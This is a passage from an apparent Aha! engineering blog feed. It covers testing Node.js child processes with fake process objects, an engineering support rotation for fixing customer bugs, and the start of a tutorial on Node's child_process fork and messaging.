&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;module&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;exports&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; FakeChildProcess;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, hook the FakeParentProcess and FakeChildProcess together, so the parent and child code can communicate both in both directions:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;describe&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Calculator&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; childProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  let&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; parentProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  beforeEach&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(() &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    jest.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;resetAllMocks&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    fork.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;mockImplementation&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;file&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      parentProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeParentProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      childProcess &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; FakeChildProcess&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      parentProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(childProcess);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;      childProcess.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;connect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(parentProcess);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;      handleMessages&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(parentProcess);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;      return&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; childProcess;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;    });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  });&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And now the regular code in the child process&apos;s &lt;code&gt;handleMessages&lt;/code&gt; function, the code you barely had to change, can run within your test process. And because it&apos;s all just methods and events, you can monitor the messages being sent, test process crashes and disconnects, and all kinds of complicated edge cases.&lt;/p&gt;
&lt;p&gt;What would an actual test look like?&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;it&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;sends a square message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, () &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; calculator&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; new&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Calculator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  calculator.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;square&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;  expect&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(calculator.lastResult).&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;toBe&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;25&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Easy, right? When &lt;code&gt;square&lt;/code&gt; is called on &lt;code&gt;calculator&lt;/code&gt;, it calls &lt;code&gt;send&lt;/code&gt;. In the real world, that will send a message to the child process using Node&apos;s API, and receive messages in the same way. In the test world, this is what happens instead:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;code&gt;calculator&lt;/code&gt; calls &lt;code&gt;send&lt;/code&gt; on a FakeChildProcess.&lt;/li&gt;
&lt;li&gt;That FakeChildProcess calls &lt;code&gt;receive&lt;/code&gt; on a FakeParentProcess.&lt;/li&gt;
&lt;li&gt;That FakeParentProcess emits a &lt;code&gt;message&lt;/code&gt; event, which the child code listens to.&lt;/li&gt;
&lt;li&gt;The child does the work and calls &lt;code&gt;send&lt;/code&gt; on the FakeParentProcess with the result.&lt;/li&gt;
&lt;li&gt;The FakeParentProcess calls &lt;code&gt;receive&lt;/code&gt; on the FakeChildProcess.&lt;/li&gt;
&lt;li&gt;The FakeChildProcess emits a &lt;code&gt;message&lt;/code&gt; event, which the calculator listens to, and sets the result.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Most of your code is completely unaware that anything different is happening. That means your tests can look exactly like your code looks, while still testing everything from one end to the other.&lt;/p&gt;
&lt;h2&gt;When should you go this far?&lt;/h2&gt;
&lt;p&gt;As nice as this kind of end-to-end testing can be, it&apos;s still best to do as much testing as you can in isolation. Test just the parent code, test just the child code. Test around the communication, not through it. These tests will be faster and less complicated to set up.&lt;/p&gt;
&lt;p&gt;But when you&apos;re sending strings or arbitrary keys as messages, when you have a protocol that could break, or you just want to sprinkle some end-to-end tests to check that everything keeps working, these kind of fakes can be so helpful. Things like process crashes that previously seemed untestable will now be completely easy to test. And even those most complicated tests will look totally natural.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Put your engineers on support]]></title><description><![CDATA[Let's talk about your bug backlog. You know you have it -- somewhere in your issue tracker, a stack of dozens or maybe even hundreds of bugs…]]></description><link>https://www.aha.io/engineering/articles/engineers-support</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/engineers-support</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Thu, 25 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Let&apos;s talk about your bug backlog. You know you have it -- somewhere in your issue tracker, a stack of dozens or maybe even hundreds of bugs awaiting attention. Sometimes new engineers will pull a few off the stack while they&apos;re getting up to speed; one or two might get slotted into a release if enough customers write in about it. But ultimately, it&apos;s grown into a beast and it&apos;s difficult to know where to even start with it. Which bugs are the most important? Which are actively blocking your customers, and which are just minor UI annoyances? How many of them have already been fixed in some other change and you haven&apos;t even realized it? The task of simply reviewing the bug backlog is daunting, never mind actually shrinking it.&lt;/p&gt;
&lt;p&gt;At Aha!, we pride ourselves on ultra-responsive support. Our customer success team maintains a global average of under two hours for the first response to a ticket. Ultra-responsive support also includes technical resources; it doesn&apos;t do much good if you respond to your customer quickly but their issue continues to languish for weeks or months. We know that our product is a central part of our customers&apos; daily workflow. Unfixed bugs can disrupt our customers&apos; productivity, and even worse, undermine their overall trust in the stability of our service.&lt;/p&gt;
&lt;p&gt;To combat both of these issues at once, our engineering team maintains an engineering support rotation. Each week, a handful of engineers are assigned to do nothing but monitor the engineering escalations queue and handle the tickets that come in. Some of these tickets are informational in nature, like a technical question about our API. Others are subtle behaviors that require a thoughtful explanation but are ultimately working as intended. But as you might expect, a number of the tickets that we handle each week are true bugs that exist out in the wild. Our engineering support rotation has been crucial to ensuring that we responsively address customer issues and provide users with the stable, quality product that they expect. Here are a few key reasons why.&lt;/p&gt;
&lt;h2&gt;Staying responsive to customers&lt;/h2&gt;
&lt;p&gt;When a customer writes in about a bug, it represents both a failure and an opportunity. Obviously, if we had it our way, our application would be totally free of bugs and nobody would ever need to write us about a problem. But given that bugs are an inevitability for any product, the most important issue becomes how you handle them.&lt;/p&gt;
&lt;p&gt;If bug reports disappear into a backlog where they are unlikely to be fixed for weeks or even months, it creates an ongoing tax on your customers&apos; mental model about your product. In the short-term, they are likely to be blocked by whatever task they are unable to accomplish, which diminishes the value they receive. But, perhaps even worse, in the long term it undermines their overall trust in the application.&lt;/p&gt;
&lt;p&gt;People build deep and lasting associations based on repeated experiences. In the same way that repeating a mundane task like exercise can create a positive habit, repeatedly experiencing bugs that never seem to get fixed creates an overarching impression that the product you&apos;re using is intrinsically unreliable. Every subsequent issue you encounter only serves to reinforce that mental model. And while you may continue to use the service (and work around the warts), you certainly won&apos;t &lt;em&gt;enjoy&lt;/em&gt; using the service. You won&apos;t evangelize to your colleagues, and ultimately you won&apos;t want to continue spending your budget on something that is unable to reliably deliver the functionality you need.&lt;/p&gt;
&lt;p&gt;Conversely, the moment when you receive a bug report is a golden opportunity to create a mental association of a more positive variety. If you turn around an engineering escalation and deliver a fix within a few hours or days, you train your customers to think that they can trust your product. And even more importantly, you train your customers to think that they can trust &lt;em&gt;you&lt;/em&gt;. They know that if they do have an issue, they can expect you to take it seriously and quickly devote resources to unblocking their work. And they come to trust your engineering processes as a whole. They may not even realize it, but when you ship an exciting new feature, they will be predisposed to think, &quot;This will be awesome, and if I have a problem, then they&apos;ll make it even better.&quot; If your current functionality is riddled with unsolved bugs, they are more likely to think, &quot;Oh great, another half-baked addition to an already frustrating product.&quot;&lt;/p&gt;
&lt;h2&gt;Fixing the most urgent bugs first&lt;/h2&gt;
&lt;p&gt;One of the most difficult challenges of the bug backlog is knowing exactly where to start with it. If you knew how many customers each bug was affecting and the severity of the effect, it would be much easier to understand what to work on and when. But with a backlog that&apos;s dozens or hundreds of items deep, it can be difficult to know what is even still reproducible, much less how many customers are running into it.&lt;/p&gt;
&lt;p&gt;What if we start at the other end? At the moment when the bug is reported, you understand its severity because the customer is directly telling you, &quot;I am trying to create a report for a big presentation tomorrow, and I am running into this error.&quot; We have also found it wise to assume that if one customer is reporting an issue, there are probably dozens more who encountered the issue but silently endured or worked around it. Your error tracker or logs can also add key context. It&apos;s easy to assess the ongoing impact by searching data from the past few days, but it’s much harder to find that information for a bug logged months ago. And finally, you never have to question whether the bug still exists or whether you&apos;re on a wild goose chase. You can know with certainty that you are expending your engineering bug-fixing effort in the most efficient way possible: directly addressing the contemporaneous issues that were so disruptive that the customer bothered to write in and tell you about it.&lt;/p&gt;
&lt;h2&gt;Raising team self-awareness&lt;/h2&gt;
&lt;p&gt;As engineers, it can be difficult to get a complete picture about how customers actually experience the features that we write. You probably hear about some interesting use cases here and there, and you may have instrumentation to tell you how &lt;em&gt;frequently&lt;/em&gt; the feature is being used. However, you may have very little insight into how &lt;em&gt;well&lt;/em&gt; it works or how satisfied the customer feels after using the new functionality.&lt;/p&gt;
&lt;p&gt;Keeping engineers on the front lines of technical support closes the feedback loop and helps to paint a more complete picture. If you ship a feature and a stream of bugs start flowing into support, you&apos;re likely to hear about it, even if you aren&apos;t directly on the rotation that week. It may open new avenues of thinking about how to properly test your features or make you consider use cases that had never previously crossed your mind. It will certainly encourage you to pay close attention to quality, lest you subject your teammates to a barrage of issues that you created. And it can even improve how you think about what you&apos;re building in the first place. You begin to sense trends over time -- like interfaces or patterns that seem to frequently create confusion or be prone to errors. On the whole, you stay much closer to your customers and the ways in which they are actually using your product.&lt;/p&gt;
&lt;p&gt;Finally, support is a growth opportunity for engineers. Through direct communication with customers, engineers gain experience in tactfully wording responses and navigating difficult conversations. The lessons learned are broadly cross-applicable within engineering organizations. For example, learning how to say, &quot;No, but here is an alternative that I think addresses your need&quot; is invaluable when interacting with the product team or other stakeholders. Engineers also get to share in the joy from a customer when a bug is promptly fixed, which helps them to understand the real impact that the product has on its users. Nothing is more rewarding than getting a request from a customer, shipping it to production a couple of hours later, and making someone&apos;s day.&lt;/p&gt;
&lt;h2&gt;Implementation&lt;/h2&gt;
&lt;p&gt;So you&apos;re sold on the concept -- how do you actually implement an engineering support rotation? At Aha!, we have found a few key factors that are crucial to the success of our process.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Everyone participates&lt;/strong&gt;. Every member of the engineering team at Aha! takes a shift on the support rotation -- including the CTO and the director of engineering. Responsively fixing customer issues is not grunt work to be shunted to junior developers; it is a critical component of our team&apos;s responsibilities. By having everyone pitch in, we ensure that support is simply part of the engineering culture at Aha!, rather than something to be avoided or pushed off to less-tenured colleagues.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Support trumps everything else&lt;/strong&gt;. When you&apos;re on support, you&apos;re on support -- your other feature work is completely on hold for the week. We proactively work with our product team to let them know which engineers will be on support in upcoming weeks so they can plan accordingly. We have found that it is simply not possible to balance support with ongoing feature development. You inevitably end up focusing on one to the exclusion of the other, while feeling guilty about the things you&apos;re not getting to. By focusing exclusively on support, we empower our engineers to clear their heads and focus deeply on each customer issue they attend to.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Training is key&lt;/strong&gt;. Support can be daunting at first, especially for new engineers. Many engineers have never even written an email to a customer, much less had to interact with a customer who is less than thrilled about the issue they&apos;re encountering. We ensure that new engineers &quot;ride shotgun&quot; with a more experienced engineer for at least their first week of support, learning how to write to customers and where to start when debugging different kinds of issues. We also work closely with our customer success team. They are experts in customer communication and are always happy to lend a hand in crafting a response or explaining an issue.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;See for yourself&lt;/h2&gt;
&lt;p&gt;Our weekly support rotation is one of my favorite components of the Aha! engineering culture. It helps us stay ultra-responsive, assisting the Customer Success team to ensure that customers receive the prompt and helpful support they desire. It builds customer trust in the quality of our application and in our commitment to quickly addressing issues that arise. It helps us prioritize and ensure that urgent bugs are promptly fixed, rather than disappearing into the backlog for weeks or months. And it closes the feedback loop, helping us to understand how features are being used and improve the way we write code in the first place. If you feel buried under a daunting backlog of bugs, I highly recommend that you assign some engineers to the front lines of support and see where it takes you.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Improve reliability with a Node.js library]]></title><description><![CDATA[A Node.js process runs a single thread. Single-threadedness isn't a problem if you run short pieces of code and let Node do other work in…]]></description><link>https://www.aha.io/engineering/articles/node-child-processes</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/node-child-processes</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Thu, 13 Jun 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A Node.js process runs a single thread. Single-threadedness isn&apos;t a problem if you run short pieces of code and let Node do other work in between. It can even be a huge benefit! One process can handle a lot of &quot;simultaneous&quot; work and you don&apos;t have to worry about thread safety. Most Node libraries take enough breaks that things &lt;em&gt;seem&lt;/em&gt; asynchronous, when it&apos;s really just a bunch of tiny synchronous tasks happening one after another.&lt;/p&gt;
&lt;p&gt;But one thread for one process has its limitations.&lt;/p&gt;
&lt;p&gt;For example, if you have code that runs without giving up control, that code will block other work from happening. It&apos;s not always obvious if code will run without taking a break, so this can be a real problem.&lt;/p&gt;
&lt;p&gt;Second, if your code crashes, you will lose the entire process. That includes anything that may have been running &quot;asynchronously.&quot; When everything is running in a single process, that could be a lot of work to lose.&lt;/p&gt;
&lt;p&gt;It would be better to send long-running or high-risk work off to another, less important process. That process could do the work and let your process know when the work is done. It turns out that there&apos;s a simple, JavaScript-like way to do just that. And you don&apos;t even need to take on a dependency to do it.&lt;/p&gt;
&lt;h2&gt;Farm that work out!&lt;/h2&gt;
&lt;p&gt;Just like most other server-side languages, you can start new processes from Node. With Node, you manage these processes with &lt;a href=&quot;https://nodejs.org/api/child_process.html&quot;&gt;&lt;code&gt;child_process&lt;/code&gt;&lt;/a&gt;: A simple, event-driven API to communicate between your process and the child you created.&lt;/p&gt;
&lt;p&gt;You start a child process with &lt;code&gt;fork&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; child&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./child.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;  // ...&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;When &lt;code&gt;parent.js&lt;/code&gt; runs, it will start a new Node process. That new process will run &lt;code&gt;child.js&lt;/code&gt;, and the parent will get a ChildProcess object back. &lt;code&gt;child.js&lt;/code&gt; will happily sit around waiting for messages from its parent.&lt;/p&gt;
&lt;p&gt;The parent sends a message like this:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// parent.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; child&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./child.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Handle replies from the child process&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; =&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Got message from child: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;});&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, child!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And from the child, you can send messages back to the parent with &lt;code&gt;process.send&lt;/code&gt;:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// child.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, (&lt;/span&gt;&lt;span style=&quot;color:#E36209&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&gt;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  console.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;log&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;`Got message from parent: ${&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;message&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;}`&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  process.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;send&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Hello, yourself!&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;})&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span&gt;$ node parent.js&lt;/span&gt;&lt;/span&gt;
